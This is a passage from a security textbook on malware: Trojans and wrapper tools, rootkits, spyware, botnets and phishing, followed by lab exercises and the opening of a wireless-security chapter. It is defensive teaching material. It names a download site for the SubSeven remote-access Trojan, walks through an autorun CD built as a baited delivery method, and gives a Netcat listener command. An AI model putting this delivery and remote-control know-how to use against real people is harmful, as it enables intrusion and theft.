drive or use social engineering to have the victim do this for them. Most
systems have USB ports and CD-ROM drives set to AutoRun. If that is the
case, all the attacker has to do is trick the user into running the CD or USB
thumb drive to get the Trojan to launch. Just suppose that the attacker leaves a
CD labeled ‘‘Pending 2008 Layoffs’’ in an office’s break area. Should someone
find it, that person might turn it over to HR or run it on her own system to
see the contents. And even though it might have been turned over to HR,
someone there may load the CD to view just exactly what is on the disc.
The hacker might even take the attack to the next level by creating a fake
database file that the user can review while the Trojan is being loaded in the
background.
Even instant messaging (IM) and Internet Relay Chat (IRC) can be used to
spread Trojans. These applications were not designed with security controls
in mind. You never know the real contents of a file or program that someone
has sent you. IM users are at great risk of becoming a target for Trojans and
other types of malware. IRC is full of individuals ready to attack the newbies
who are enticed into downloading a free program or application.
Trojans
Symptoms
The effects of Trojans can range from benign to the extreme. Some users
who become infected may not know they are infected, whereas others may
experience complete system failure. More often than not, the victim may just
notice that something is not right. Sometimes programs will open up by
themselves, or the web browser might open pages that weren’t requested.
If the hacker wants, he can change your background, reboot the system, or
turn the volume way up on the speakers to get your attention.
Well-Known Trojans
The best way to understand the Trojans of today is to look at the Trojans
of the past. Each of those that follow had an impact because of the way it was
designed, worked, or lured its victims into installing it.
NetBus was an early innovator and was designed to infect Windows 9x
computers. NetBus could even inform the attacker (via email) after it
had been successfully installed. NetBus could also redirect input from a
specified port to another IP address via the server machine. This means
the remote user could do mischief on a third machine somewhere on the
Internet and his connection would appear to come from the redirecting
address.
Back Orifice and Back Orifice 2000 (BO2K) represent the next generation of backdoor access tools that followed NetBus. BO2k allows more
functionality than NetBus. It was designed to accept a variety of specially designed plug-ins. It was written by Cult of the Dead Cow (CDC).
BO2K also supports encryption to perform all communication between
client and server. Encryption options include 512-bit AES encryption.
SubSeven was the next remote-access Trojan to be released. Although
widely used to infect systems, it failed to gain the press that BOK2 did
even though, at the time of its release in 1999, it was considered the most
advanced program of its type. One of these advanced features is that
it can mutate so that its fingerprint appears to change. This can make it
difficult for antivirus tools to detect.
Much like NetBus and BOK2, SubSeven is divided into two parts: a
client program that the hacker runs on his machine, and a server that
must be installed onto a victim’s computer. The victim usually receives
the program as an email attachment that installs itself onto the system
when run. It can even display a fake error message to make it appear
as though the fake program failed to execute. Once the infected file is
run, the Trojan copies itself to the Windows directory with the original name of the file it was run under. For example, the attacker may
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have disguised the file by naming it winproc.32. From there it copies a
DLL file named Watching.dll to Windows\System directory. Once activated, the server uses TCP ports 6711, 6712, and 6713 by default.
Modern Trojans
As previously mentioned, the motive for most modern malware has changed.
Although programs such as NetBus can be used to harass your friends and
coworkers, the goal of such programs was not monetary. According to The
Evolving Threat, a white paper published by IBM in 2007, the financial services
industry suffered almost 40 percent of all Trojan attacks last year. This topped
all of the other 15 industries that were listed.
The Brazilian music industry found out about Trojans the hard way in 2006
and 2007; they became the focus of targeted Trojan attacks that tricked users
out of account information. The scam worked in two parts. The first used
phishing schemes to trick users into downloading and installing customized
Trojans. After the Trojans had been installed, they ‘‘listened’’ for users to enter
banking account information, which was silently being sent to thieves waiting
to empty the victim’s account. Once banks became aware of the Trojans,
the attackers would modify their signature to make it difficult for antivirus
programs to again pick them up until the next wave of victims made reports
of fraud.
Once loaded, the Trojan can steal files stored on the hard disk, and it can
then transmit them back to the hacker. Because you might not even be aware
that the Trojan is on your computer, it can steal information every time you
use your computer. This new breed of Trojan is designed specifically to steal
passwords. When an unsuspecting victim comes along and types a password,
the Trojan stores the password and displays a message such as ‘‘account
unavailable’’ to convince the person to go away or try again later. Attackers
can design the Trojan to send the password or account information to them.
Distributing Trojans
Just think: distributing Trojans is no easy task. Users are more alert, less
willing to click email attachments, and more likely to be running antivirus
than in the past. On Windows computers, it used to be enough for the
hacker to just add more space between the program’s name and suffix, such
as important message text.txt.exe, or the hacker could choose program
suffixes or names from those programs that would normally be installed and
running on the victim’s machine, such as notepad.exe. The problem is that
the level of awareness of users and administrators about such techniques is
greater than it used to be.
Trojans
Wrappers offer hackers another, more advanced way to slip past a user’s
normal defenses. A wrapper is a program used to combine two or more
executables into a single packaged program. Victims may go to a peer-to-peer
site and think they have downloaded the latest version of Microsoft Office or of
the great new game that they have wanted but cannot afford. Sadly, the sweet
and innocently wrapped Trojan package is not so nice after it installs. When
installed, the malicious code is loaded along with the legitimate program.
Figure 8-1 gives an example of how a hacker binds two programs together.
Legitimate
Program
Wrapper
Tool
Trojan
Program
Wrapped
Installation
Program
End User
Figure 8-1 Trojans and wrappers.
Wrappers are also referred to as binders, packagers, and EXE binders. Some
wrappers only allow programs to be joined; others allow the binding together
of three, four, five, or more programs. Basically, these programs perform
like installation builders and setup programs. Many of these programs are
available to the hacker underground. A few are listed here:
eLiTeWrap — Considered one of the premier wrapping tools. It has a
built-in ability to perform redundancy checks to verify that files have
been properly wrapped and will be installed properly. It can perform a
full install or create an install directory. eLiTeWrap can utilize a pack file
to make the program wait to process the remainder of files and can also
perform a hidden install without user interaction.
Saran Wrap — A wrapper program designed to hide Back Orifice. It can
wrap Back Orifice with another existing program into a standard InstallShield installer program.
Trojan Man — This wrapper combines two programs and can also
encrypt the resulting package in an attempt to foil antivirus programs.
Teflon Oil Patch — Another program used to bind Trojans to any files
you specify in an attempt to defeat Trojan-detection programs.
IN THE LAB
Trojans offer the attacker a way to take complete control of a computer system.
This presents a real risk to the network. In the lab, one way for the security
professional to learn about such tools is to install and run one. These tools will
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IN THE LAB (continued)
set off your antivirus software, so it’s advisable to install and run them on a
virtual machine. This allows more control and the ability to restore the virtual
machine to a previous snapshot after completing your research. One Trojan to
consider evaluating is SubSeven, which can be downloaded from
http://num-download.hit.bg. The file name is sub7legends.zip. This file
contains both the server and the client. You will want to install both
components on separate Windows virtual machines so that you can observe
how the client takes complete control of the host system. Take a moment to
observe the Task Manager before and after installation, and you should see
that some additional services will be loaded into memory. After finishing your
evaluation, remove all components and verify their removal with up-to-date
antivirus software. If you have made a snapshot of the virtual system now
would be a good time to restore that image.
Rootkits
Rootkits are a collection of tools that allow an attacker to take control of a
system. Rootkits are a significant threat as they cover the tracks of an attacker.
Once a rootkit is installed, attackers can come and go as they please. A rootkit
is one of the best ways for an attacker to maintain access. Once installed, a
rootkit can be used to hide evidence of an attacker’s presence and give them
backdoor access to the system. Rootkits can contain log cleaners that attempt
to remove all traces of the attacker’s presence from the log files.
Rootkits can be divided into two basic types:
Traditionally, rootkits replaced binaries in Linux systems such as ls,
ifconfig, inetd, killall, login, netstat, passwd, pidof, or ps with
Trojaned versions. These Trojanized versions have been written to hide
certain processes or information from the administrators. Rootkits of this
type are detectable because of the change in size of the Trojaned binaries.
Tools such as MD5sum and Tripwire can be a big help in uncovering
these types of hacks.
The second type of rootkit is the loadable kernel module (LKM). A kernel
rootkit is loaded as a driver or kernel extension. Because kernel rootkits corrupt the kernel, they can basically do anything, including being
detected by many software methods. Although the use of rootkits is very
much widespread, many administrators still don’t know much about
them
Rootkits
How should security professionals respond if they believe a system has
been compromised and if a rootkit has been installed? You first want to
determine whether anything looks suspicious on the victim’s computer. In
addition, many tools can be used to investigate a system that may be infected.
One important thing to remember is to never rely on the tools that have been
already installed on a system you suspect has been infected or compromised.
Install only well-known tools or run your own from a CD or USB thumb drive.
Some good tools to check out include the following:
Task Manager — Built-in Windows application used to display
detailed information about all running processes.
ps — The command used to display the currently running processes on
Unix/Linux systems.
Netstat — Displays active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics,
and more. Netstat will show a running list of open ports and processes.
Tlist — A Windows tool used to display a list of currently running
processes on either a local or remote machine.
TCPView — A GUI tool by Sysinternals used to display running
processes.
Process viewer — Another Windows GUI utility that displays
detailed information about running processes. It displays memory,
threads, and module usage.
An attacker who knows that he has been discovered may decide to destroy
the victim’s system in an attempt to cover his tracks. Once the system has been
isolated from the network, you can begin the process of auditing the system
and performing forensic research. There are two major tools you can use to
further investigate systems with suspected rootkits:
Chkrootkit — An excellent tool that can be used to search for signs of a
rootkit. It can examine system binaries for modification.
Rootkit Hunter — Another tool that scans file and system binaries for
known and unknown rootkits.
Finding the rootkit is not the same as seeing justice done. The overwhelming
majority of individuals who attack systems go unpunished. Even though you
may find evidence of an attack that doesn’t mean the individual will be brought
to justice.
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IN THE LAB
Rootkits present a real risk in that they can allow the attacker to maintain
access to the target system for a long period of time without detection. From
www.microsoft.com/security/malwareremove/default.mspx, download
the Malicious Software Removal Tool. After downloading the tool, run it from a
Windows system and let it scan the system. Hopefully, the system is clean. If
anything is found, you will want to remove it. Restoring from a backup is not a
good option, as you may have no idea how long the rootkit has been installed.
It is best to reload from known good media.
Spyware
Spyware is another form of malicious code that is similar to a Trojan. It is
installed without your consent or knowledge, hidden from view, monitors
your computer and Internet usage, and is configured to run in the background
each time the computer starts. Spyware is typically used for one of two
purposes, surveillance or advertising:
Surveillance — It is used to determine your buying habits, discover
your likes and dislikes, and to report such demographic information to
paying marketers.
Advertising — You’re targeted for advertising by the spyware vendor,
who has been paid to deliver it. For example, the maker of a rhinestone
cell phone case may have paid the spyware vendor for 100,000 pop-up
ads. If you have been infected, expect to receive more than your share
of these unwanted pop-up ads.
What are some of the worst spyware programs that you might be exposed to?
Webroot.com (http://research.spysweeper.com/?id=H2-USEFUL Links-TR)
has compiled a list and the top 10 include titles such as KeenValue, a program
that collects users’ information to target them with specific pop-up ads.
Another is PurityScan, which advertises itself as a cleaner that removes items
from the hard drive. Finally, there is CoolWebSearch. This program is actually
a bundle of browser hijackers united only to redirect their victims to targeted
search engines and flood them with pop-up ads. These ads attempt to trick the
user into downloading a malicious or unneeded program. A pop-up download
is a pop-up window that asks users to download a program to their computer’s
hard drive. Some spyware pop-ups use recognized branding, such as Adobe
or Macromedia, to make the victim feel comfortable clicking. The dialog box
pops up and claims that you need to install a plug-in to view special characters.
Spyware
The window may feature a security warning or some other type of message
that is likely to confuse the user into compliance.
Other programs advertise themselves as spyware-removal tools and really
function to install spyware on a victim’s system. Some of these programs are
as follows:
AdProtector
BPS Spy-Ware Remover
SpyBan
SpyFerret
SpyGone
SpyHunter
SpyKiller
Spy Wiper
SpyWare Nuker
Though it’s very true that home users are at risk, a compromised corporate
desktop poses a real threat. These computers have the potential to provide
access to tons of proprietary and sensitive information on a scale that would
be unheard of on a home computer. Corporate solutions have been slow
to develop. Fortunately, Aluria Enterprise, Symantec, Sunbelt, and others are
starting to respond. Whatever you choose, make sure that it’s network-friendly
and can be easily managed from a central location. Integration is the keyword.
Until you install a corporate-wide solution, you can perform some quick
fixes to reduce the probability of infection.
Patch — Spyware programs take advantage of known security vulnerabilities, so make sure that your OS and browser are patched and
up-to-date.
Use a firewall — Practice the principle of least privilege.
Change browsers — Dump IE. Many spyware programs are written
specifically for IE. Firefox and Opera are two possible alternative
browser options. Both have additional built-in security features.
Beware of free programs — Peer-to-peer programs and other so-called
‘‘free programs’’ can be supported by spyware. After all, someone must
pay the bills! Don’t install software without knowing exactly what comes
with it. Take the time to read the end-user license agreement.
We can only hope that the legislative and legal systems take action to
prevent the ever-increasing problem of spyware. However, just as usual,
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technology changes faster than the legal system can adapt. A good offense is
about defense. By implementing the solutions offered above and making the
decision to deploy an enterprise-class spyware solution, you can address this
problem. Although there is no guarantee that you will not become infected,
there are ways to reduce the possibility. Install anti-spyware programs. It’s a
good practice to use more than one anti-spyware program to find and remove
as much spyware as possible. Well-known anti-spyware programs include the
following:
Ad-Aware — www.lavasoftusa.com/software/adaware
HijackThis — www.download.com/HijackThis/3000-8022 410227353.html
PestPatrol — www.pestpatrol.com
Spy Sweeper — www.webroot.com
Spybot Search & Destroy — www.safer-networking.org/en/
download
SpywareBlaster — www.javacoolsoftware.com/spywareblaster
.html
McAfee AntiSpyware — http://www.mcafee.com/us/enterprise/
products/anti spyware/anti spyware.html
A final threat worth mentioning is a web bug. Web bugs are small amounts
of code embedded in web pages or HTML email to monitor the reader. The
bugs can be concealed in tiny pixel image tags, although any graphic on a web
page or in an email can be configured to act as a web bug. Web bugs send
information back to the hacker.
IN THE LAB
While the risk of spyware may not always mean total system meltdown, it is at
the very least annoying and typically slows system performance while causing
errors and other problems. This type of threat needs to be eradicated. In the
lab, the best way to learn how to deal with the threat is to download and run
several pieces of spyware-detection tools. I do mean several, as many times
one tool is not enough to clean a system. For a quick scan, download and run
Ad-Aware. Next use a tool that provides much more hands-on interaction, such
as HijackThis. Downloaded locations for both are listed above.
Botnets
Botnets
In many ways, botnets have replaced the denial of service (DoS) and distributed
denial of service (DDoS) attacks of the past. Years ago, DDoS tools were
designed for the simple purpose of denying a person or persons access and
availability. Much like viruses and other threats that we have discussed in
this chapter, this threat has evolved. Instead of taking over systems to act as
zombies for a DDoS, today attackers use these systems for other purposes,
such as spam, spyware, or ransomware.
Bots are utilities that were originally intended for maintaining IRC channels.
Botnets work by infecting tens of thousands of computers that lie dormant until
commanded to action by the attacker. The computer’s owner is completely
unaware. Upon command, the botnet master can take control of all or part
of these infected systems and direct them to perform the same malicious
task at the same time. Botnets perform tasks, such as the distribution of
spam. This allows the botnet master to avoid detection as the thousands of
spam email messages don’t originate from him. Botnets can also be used to
mass-distribute new viruses, Trojans, or other malware, or they can be directed
to flood a specific domain if the web site owner refuses to pay up a ransom
or fee.
The threat does not stop here. Spambots are another emerging threat. A
spambot is a program designed to acquire email addresses from the Internet
in order to build mailing lists for sending spam. A number of programs and
approaches have been devised to foil spambots, such as munging, in which an
email address is deliberately modified so that a human reader can decode it
but a spambot cannot. This has led to the evolution of sophisticated spambots
that can recover email addresses from character strings that appear to be
munged.
IN THE LAB
Reducing the threat of a botnet attack is done in much the same way as
addressing a DDoS attack. Botnets and DDoS attacks have many of the same
characteristics. Attempting to deal with botnets at the source (IRC) may anger
the botnet master and cause you to be attacked. It is unfortunate but true that
the only way this threat can be eliminated is with the combined efforts of users,
vendors, police, and Internet service providers. To date, that has not occurred.
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Phishing
Another attack that combines social engineering and technology is phishing.
In this type of attack, the phisher sends an email message that appears to come
from a company with whom the recipient has an account. It could be a major
bank, eBay, PayPal, Amazon, or AOL. The message given under some pretext
will ask the recipient to supply account identification and authentication
credentials, usually a password. The pretext may be that a computer glitch
caused the information to be lost, or that possibly fraudulent activity has
occurred on the account.
To verify the recipient’s account, the recipient is asked to click a hyperlink
in the email message. In HTML (Hypertext Markup Language, the formatting
language of the Web, but also used in many email messages), a hyperlink
has two parts: the words that appear in the message (e.g., ‘‘click here’’) and
the web address to follow if the hyperlink is clicked. Sometimes the same
information appears in both places, so the user can see the web address right
in the text of the message. Because users have experienced this, they aren’t
surprised to see a web address in the text, and they assume that it matches
the web address that will be followed. But it might not match. The displayed
address may appear very similar to a legitimate address from the bank, but
the actual address to be followed links to the attacker’s web site. The attacker’s
web site also is designed to resemble the one from the bank, so the target
enters account information, and the attacker then captures it.
IN THE LAB
Phishing is not something that can just be dealt with from a technical ‘‘in the
lab’’ method. Prevention of phishing requires good training and policies that
help users to spot these attacks and know not to fall victim to the ruse. You can
play a part in reducing this vulnerability by working with management to put
effective training programs in place. In the lab, you can access your own email
account to download and save some common phishing attempts. These emails
can be used as a guide to help other users to know how to spot this activity.
Summary
This chapter has examined various types of malware. Malware includes
viruses, worms, Trojans, rootkits, and spyware. Viruses and worms pose
a real threat in that they can choke bandwidth, thus preventing legitimate
communication. Viruses can also be responsible for the loss of data and can
even overwrite the system BIOS, thus rendering your hardware useless. The
best way to deal with viruses and worms is by using antivirus software and
Key Terms
keeping it up-to-date. An out-of-date antivirus package is little better than not
having antivirus software at all.
Trojans are another real threat. Most modern Trojans are designed for
financial gain. Trojans can be used for keystroke logging, password capture,
or even to take total control over a victim’s system. The security threat is
real and can include any and all data loss. Trojans may even be used to aid
in identity theft. The best defense against it is to download programs only
from well-known sources. Never believe that someone is going to give you
something for nothing. Freeware, illegal software, cracked programs, or any
other program or attachment from a dubious source may be Trojanized. If
possible, always download programs from official sites or at the least verify
their MD5 or SHA fingerprint. Trojans may not always be used directly, so
there may also be a component of social engineering or some type of phishing
scheme involved. Verify emails and attachments before running anything on
your local system.
Rootkits are another real concern. What is feared the most about rootkits is
that they give an attacker a way to hide on the victim’s system for an indefinite
period of time. Just consider this: Why would an attacker spend all his time
getting access to a system only to give it up? He would not! It is possible
attackers are going to want to continue to maintain access to keep the local
user’s system part of a botnet, continue to access an installed Trojan, or even
use the system to attack third-party systems. Once a system has had a rootkit
installed, the user can at best run a rootkit checker tool, but may be forced to
reload from known good media. This should not be a backup since you don’t
know whether the backups are also tainted.
Finally, we discussed spyware. This growing segment of malware is known
by many to be difficult to deal with since it is considered the cancer of the
computer world. Why? Because these programs have become increasingly
intelligent. Many have the capability of installing themselves in more than one
location and, just like cancer, any attempt to remove them triggers the software
to spawn a new variant in a new and unique location. Avoid malicious sites and
make sure that your browser is up-to-date by using an anti-spyware program,
which is the best defense. Once a system has become infected it can become
so badly corrupted that nothing short of a rebuild will cure the problem.
Key Terms
Back Orifice — A well-known Trojan (backdoor) program for
Windows clients.
NetBus — An early Trojan (backdoor) that allowed an attacker to control
a remote system. The program served as a basis for a later Trojan known
as SubSeven.
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Rootkit — A collection of tools that allows an attacker to take control of
a system.
Social engineering — A nontechnical attack that works by tricking or
misleading an individual.
Spyware — A type of malware that spies on the end user, sends pop-up
messages, attempts to redirect the user to specific sites, or monitors their
activity.
Trojans — A type of malware known for tricking users into thinking it
is something they want, while in reality malicious code is hidden inside.
Virus — A piece of code that the user is tricked into installing that corrupts or destroys data.
Worm — A self-propagating piece of malware that uses up most, if not
all, available network bandwidth.
Wrappers — Used to combine a legitimate program with a piece of malware and create something that the user will believe is safe to download
and install.
Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of the chapter. The author selected the tools and
utilities used in these exercises because they are easily obtainable. Our goal is
to provide you with real hands-on experience.
Virus Signatures
This first exercise steps you through an example of how to test a virus
signature. The following text file was developed by the European Institute
of Computer Antivirus Research (EICAR) and used to test the functionality
of antivirus software. You need a Windows computer and a copy of your
favorite antivirus program to perform this exercise.
1. Copy the following information in to a text file:
X5O!P%@AP[4\PZX54(P^)7CC)7$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
2. Once the text file has been created, save it as virusdemo.txt. After it has
been created, rename the extension as an executable so that the file is
now named virusdemo.exe.
Exercises
3. Start a scan with your existing antivirus program and have it scan
virusdemo.exe.
Your antivirus program should flag the file as malicious. It is actually not a
virus but was created as a way for antivirus users to test that their antivirus
software is actually working properly.
Building Trojans
As you now understand, Trojans and malware pose a real danger. This
challenge highlights one of the ways that a hacker may distribute a Trojan. By
default, most Windows systems automatically start a CD when it is inserted
in the CD tray. You use this technique to distribute simulated malicious code.
You need a blank CD and a CD burner for this exercise.
1. Create a text file named autorun.ini. Inside this text file, add the following contents:
[autorun]
Open paint.exe
Icon=paint.exe
2. Place the autorun.ini file and a copy of paint.exe into a folder to be
burned to a CD.
3. After you have completed making the CD, reinsert it in the CD-ROM
drive and observe the results. It should autostart and automatically start
the Paint program.
4. Think about the results. While this exercise was benign, you could have
just as easily used a Trojan program that had been wrapped with a legitimate piece of software. Just leaving the CD lying around or giving it
an attractive title, such as ‘‘pending 2006 bonuses,’’ might lead someone to pick it up to see exactly what it is. Anyone running the CD would
then become infected. Even with AutoRun turned off, all it would take
is for the user to double-click the CD-ROM icon and the program would
still run.
Rootkits
This exercise has you download a rootkit checker, install it, and examine its
various options. Rootkit Hunter is an open source tool that checks Linux-based
systems for the presence of rootkits and other unwanted tools. You can download and run this program on any Linux system. As an example, you can
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run this on the BackTrack OS included with this book. Rootkit Hunter can be
downloaded from www.rootkit.nl/projects/rootkit hunter.html.
1. Once you have started your Linux system, open a root terminal and
download Rootkit Hunter. Enter the following at the command-line
shell:
wget http://downloads.rootkit.nl/rkhunter-<version>.tar.gz
The <version> syntax will require you to enter the current version of
the software. At the time of this writing, version 1.3.0 is the most current
version.
2. When the download has completed, unpack the archived file. You can
do so by entering the following command:
tar zxf rkhunter-<version>.tar.gz
3. The preceding command extracts Rootkit Hunter. Next, you want to
install Rootkit Hunter. You need to change directories to the Rootkit
Hunter folder:
cd rkhunter
4. After you are in the proper directory, run the installer. This will complete the installation. To accomplish this, enter the following:
./installer.sh
5. If everything has gone correctly, the installation should have finished
successfully. The code listed here shows the syntax of a successful installation:
Rootkit Hunter installer 1.2.4 (Copyright 2003-2005, Michael Boelen)
--------------Starting installation/update
Checking /usr/local... OK
Checking file retrieval tools... /usr/bin/wget
Checking installation directories...
- Checking /usr/local/rkhunter...Exists
- Checking /usr/local/rkhunter/etc...Exists
- Checking /usr/local/rkhunter/bin...Exists
- Checking /usr/local/rkhunter/lib/rkhunter/db...Exists
- Checking /usr/local/rkhunter/lib/rkhunter/docs...Exists
- Checking /usr/local/rkhunter/lib/rkhunter/scripts...Exists
- Checking /usr/local/rkhunter/lib/rkhunter/tmp...Exists
- Checking /usr/local/etc...Exists
- Checking /usr/local/bin...Exists
Checking system settings...
- Perl... OK
Installing files...
Installing Perl module checker... OK
Exercises
Installing Database updater... OK
Installing Portscanner... OK
Installing MD5 Digest generator... OK
Installing SHA1 Digest generator... OK
Installing Directory viewer... OK
Installing Database Backdoor ports... OK
Installing Database Update mirrors... OK
Installing Database Operating Systems... OK
Installing Database Program versions... OK
Installing Database Program versions... OK
Installing Database Default file hashes... OK
Installing Database MD5 blacklisted files... OK
Installing Changelog... OK
Installing Readme and FAQ... OK
Installing Wishlist and TODO... OK
Installing RK Hunter configuration file... Skipped (no overwrite)
Installing RK Hunter binary... OK
Configuration already updated.
Installation ready.
See /usr/local/rkhunter/lib/rkhunter/docs for more information.
Run ’rkhunter’ (/usr/local/bin/rkhunter)
6. With Rootkit Hunter installed, you can now run the program. There is a
variety of options that can be used. To perform a complete check of the
system, run this:
Rkhunter --checkall
7. Rootkit Hunter can search for many different types of rootkits. A partial
list is shown here:
55808 Trojan - Variant A
ADM W0rm
AjaKit
aPa Kit
Apache Worm
Ambient (ark) Rootkit
Balaur Rootkit
BeastKit
beX2
BOBKit
CiNIK Worm (Slapper.B variant)
Danny-Boy’s Abuse Kit
Devil RootKit
Dica
Dreams Rootkit
Duarawkz Rootkit
Flea Linux Rootkit
FreeBSD Rootkit
Fuck‘it Rootkit
GasKit
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Heroin LKM
HjC Rootkit
ignoKit
ImperalsS-FBRK
Irix Rootkit
Kitko
Knark
Li0n Worm
Lockit / LJK2
mod rootme (Apache backdoor)
MRK
Ni0 Rootkit
NSDAP (RootKit for SunOS)
Optic Kit (Tux)
Oz Rootkit
Portacelo
R3dstorm Toolkit
RH-Sharpe’s rootkit
RSHA’s rootkit
Scalper Worm
Shutdown
SHV4 Rootkit
SHV5 Rootkit
Sin Rootkit
Slapper
Sneakin Rootkit
Suckit
SunOS Rootkit
Superkit
TBD (Telnet BackDoor)
TeLeKiT
T0rn Rootkit
Trojanit Kit
URK (Universal RootKit)
VcKit
Volc Rootkit
X-Org SunOS Rootkit
zaRwT.KiT Rootkit
8. When the scan is completed, you should receive a message similar to the
following:
---------------------------- Scan results --------------------------MD5
MD5 compared: 0
Incorrect MD5 checksums: 0
File scan
Scanned files: 399
Possible infected files: 0
Exercises
Application scan
Vulnerable applications: 9
Scanning took 15748 seconds
--------------------------------------------------------------------Do you have some problems, undetected rootkits, false positives, ideas or
suggestions?
Please email me by filling in the contact form (@http://www.rootkit.nl)
--------------------------------------------------------------------
In this exercise, we were fortunate to find that the system had not been
infected. But had it been, you would have been faced with many challenges.
This is primarily because it’s almost impossible to clean up a rootkit. Because
hiding is its main purpose, it is difficult to tell whether all remnants of the
infection have been removed. You should always rebuild from known good
media.
Finding Malware
In this exercise, you look at some common ways to find malicious code on a
computer system:
1. Unless you already have a Trojan installed on your computer, which is
not a good thing, you need something to find. Go to www.vulnwatch.org/
netcat and download Netcat for Windows.
2. Start a Netcat listener on your computer. This can be done by issuing the
following command from the command prompt:
nc -n -v -l -p
3. Now that you have Netcat running in a listening mode, proceed to the
Task Manager. You should clearly see Netcat running under
applications.
4. Let’s now turn our attention to netstat. Open a new command prompt
and type netstat –an. You should see a listing similar to the one shown
here:
C:\>netstat -an
Active Connections
Proto Local Address
Foreign Address
State
TCP 0.0.0.0:80
0.0.0.0:0
LISTENING
TCP 0.0.0.0:445
0.0.0.0:0
LISTENING
TCP 0.0.0.0:1025
0.0.0.0:0
LISTENING
TCP 0.0.0.0:1027
0.0.0.0:0
LISTENING
TCP 0.0.0.0:12345
0.0.0.0:0
LISTENING
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Your results should indicate that port 80 is listening. Did you notice anything else unusual on your listing? Did you notice anything unusual on
the listing shown above? The final line above shows a service listening on
port 12345, which is the default port for NetBus.
5. Proceed to http://technet.microsoft.com/en-us/sysinternals/
bb897437.aspx and download TCPView. This free GUI-based process
viewer will show you information on running processes in greater detail
than netstat. It provides information of all TCP and UDP endpoints on
your system, including the local and remote addresses and state of TCP
connections. You should be able to easily spot your Netcat listener if it is
still running.
6. Close TCPView and proceed to www.teamcti.com/pview. From there,
you can download another process viewer tool known as Process Viewer.
You will find that it is similar to TCPView.
7. Finally, let’s review a Trojan-removal tool. It’s titled The Cleaner and
is a system of programs designed to keep your computer and data safe
from Trojans, worms, keyloggers, and spyware. It can be downloaded
from http://www.moosoft.com/TheCleaner/Download. After installation,
let the program run to see whether it flags Netcat or any other files.
Afterward, you can remove Netcat or any of the other programs installed
during this exercise.
CHAPTER
9
Securing Wireless Systems
Ever hear the saying ‘‘the more things change the more thing stay the same?’’
Consider the not-too-distant past when people used modems and dialup
accounts. During this time, wardialing became very popular. Programs like
ToneLoc and Scan were popular. Hackers of the time would call ranges of
phone numbers looking for systems with modems tied to them. Administrators
fought back by limiting the hours that modems were on, started using callback
systems, and added caller ID.
Then came the move to the early Internet. The same methodology of
wardialing was carried over to port scanning. The attacker used this newer
technology as a way to search for access to a vulnerable system. Administrators
were forced to add firewalls, intrusion detection, and filter access to unneeded
ports at the edge of the network. Today, many networks have switched to
wireless. After all, it’s an inexpensive method to add connectivity for local
users. Attackers see wireless in the same way that the previous technologies
were viewed. Wireless wardriving tools can be used to connect to unsecured
networks or tools can be used in an attempt to break weak encryption. Again,
administrators must be ready to respond to the threat.
This chapter discusses attacking and securing wireless. I start by discussing
some wireless basics, and then move on to methods used to attack and secure
wireless systems. Wireless communication plays a big role in most people’s
lives, from cell phones and satellite TV to data communication. Most of you
probably use a cordless phone at your house or wireless Internet at the local
coffee shop. Do you ever think about the security of these systems once the
information leaves the local device? You next-door neighbor may be listening
to your cordless phone calls with a UHF scanner, or the person next to you at
the coffee shop may be sniffing your wireless connection to steal credit card
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numbers, passwords, or other information. Securing wireless communication
is an important aspect of any security professional’s duties.
Wi-Fi Basics
The term wireless can apply to many things, such as cell phones, cordless
phones, global positioning systems (GPS), AM/FM radio, LAN wireless systems, or WAN wireless systems, to name a few. For the purpose of this book, I
am discussing IEEE 802.11 LAN wireless systems, or Wi-Fi. Wireless Fidelity
(Wi-Fi) is the consumer-friendly name given to the 802.11 family of wireless
networking protocols. The idea was to give consumers a more market-friendly
name than the technical-sounding 802.11. This family of protocols was created
by the Institute of Electrical and Electronics Engineers (IEEE).
The IEEE also oversees wired versions of Ethernet such as 802.3. From
an equipment standpoint, wireless costs are similar to those of their wired
counterparts. The big difference is that there are none of the cable plant costs
associated with wired LANs. The cable plant is the physical wires that make
up your network infrastructure. Therefore, a business can move into a new
or existing facility with cabling and incur none of the usual costs of running
a LAN drop to each end user. Although wireless does have its advantages,
you need to consider some issues before deciding that wireless is the perfect
connectivity solution, including the following:
Wired Ethernet is typically faster than most versions of wireless.
Obstacles and interference don’t affect wired Ethernet the same way they
affect wireless.
Wired Ethernet doesn’t have a drop in performance the way that wireless does, as long as maximum cable lengths are not exceeded.
Wired Ethernet is more secure than wireless in that the attacker must
gain access to the physical cable plant. A denial of service attack is also
harder to launch in a wired system.
Just consider the fact that wireless networks broadcast data through the
public airwaves rather than over network cable. To intercept data on a wired
LAN, an intruder must have physical access to the network either by physically
connecting over the local Ethernet LAN or by logically connecting over the
Internet. Wireless systems make it possible for the attacker to sit in the parking
lot across the street and receive the signal. Even if you encrypt the data on your
wireless network, the attacker can still sniff it. Before we get too far into the
ways in which wireless can be attacked, let’s start by discussing some wireless
fundamentals, and then we will move on to wireless attacks, hacking tools,
and finally some ways to secure wireless networks.
Wi-Fi Basics
Wireless NIC
Wireless NIC
Computer A
Computer B
Figure 9-1 Wireless ad hoc mode.
Wireless Clients and NICs
Wireless networks require the client to use a wireless adapter or wireless
network interface card (NIC) to connect to the network and communicate
with other computers. An access point (wireless router) can provide Internet
connectivity to multiple users. A simple wireless LAN consists of two or
more computers connected via a wireless connection. No cables or wired
connections are required. The computers are connected via wireless NICs that
transmit the data over the airwaves. Figure 9-1 shows an example of this.
Actually, Figure 9-1 shows two computers operating via wireless in ad hoc
mode. Wireless systems can operate in either ad hoc or infrastructure mode.
Ad hoc mode doesn’t need any equipment except wireless network adapters.
Ad hoc mode allows a point-to-point type of communication that works well
for small networks, and is based on a peer-to-peer style of communication.
Infrastructure mode makes use of a wireless access point (WAP). A WAP is
a centralized wireless device that controls the traffic in the wireless medium.
Figure 9-2 shows an example of a wireless LAN (WLAN) setup with a WAP.
In infrastructure mode, the wireless device communicates with the WAP.
The WAP then forwards the packets to the appropriate computer. If you
want to use your wireless-equipped device with a specific WAP, it must be
configured to use the same service set ID (SSID). The SSID distinguishes one
wireless network from another. The SSID can be up to 32 bits and is casesensitive. It is easily sniffed if it is being broadcast. Overall, if we compare
ad hoc wireless networks to infrastructure mode networks, you will see that
infrastructure mode is much more scalable.
Wireless NIC
Wireless Access Point Wireless NIC
Computer A
Figure 9-2 Wireless infrastructure mode.
Computer B
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There are some issues with wireless networks that wired networks do
not have to worry about. As an example, in a wired network, it’s easy for
any one of the devices to detect whether another device is transmitting. In
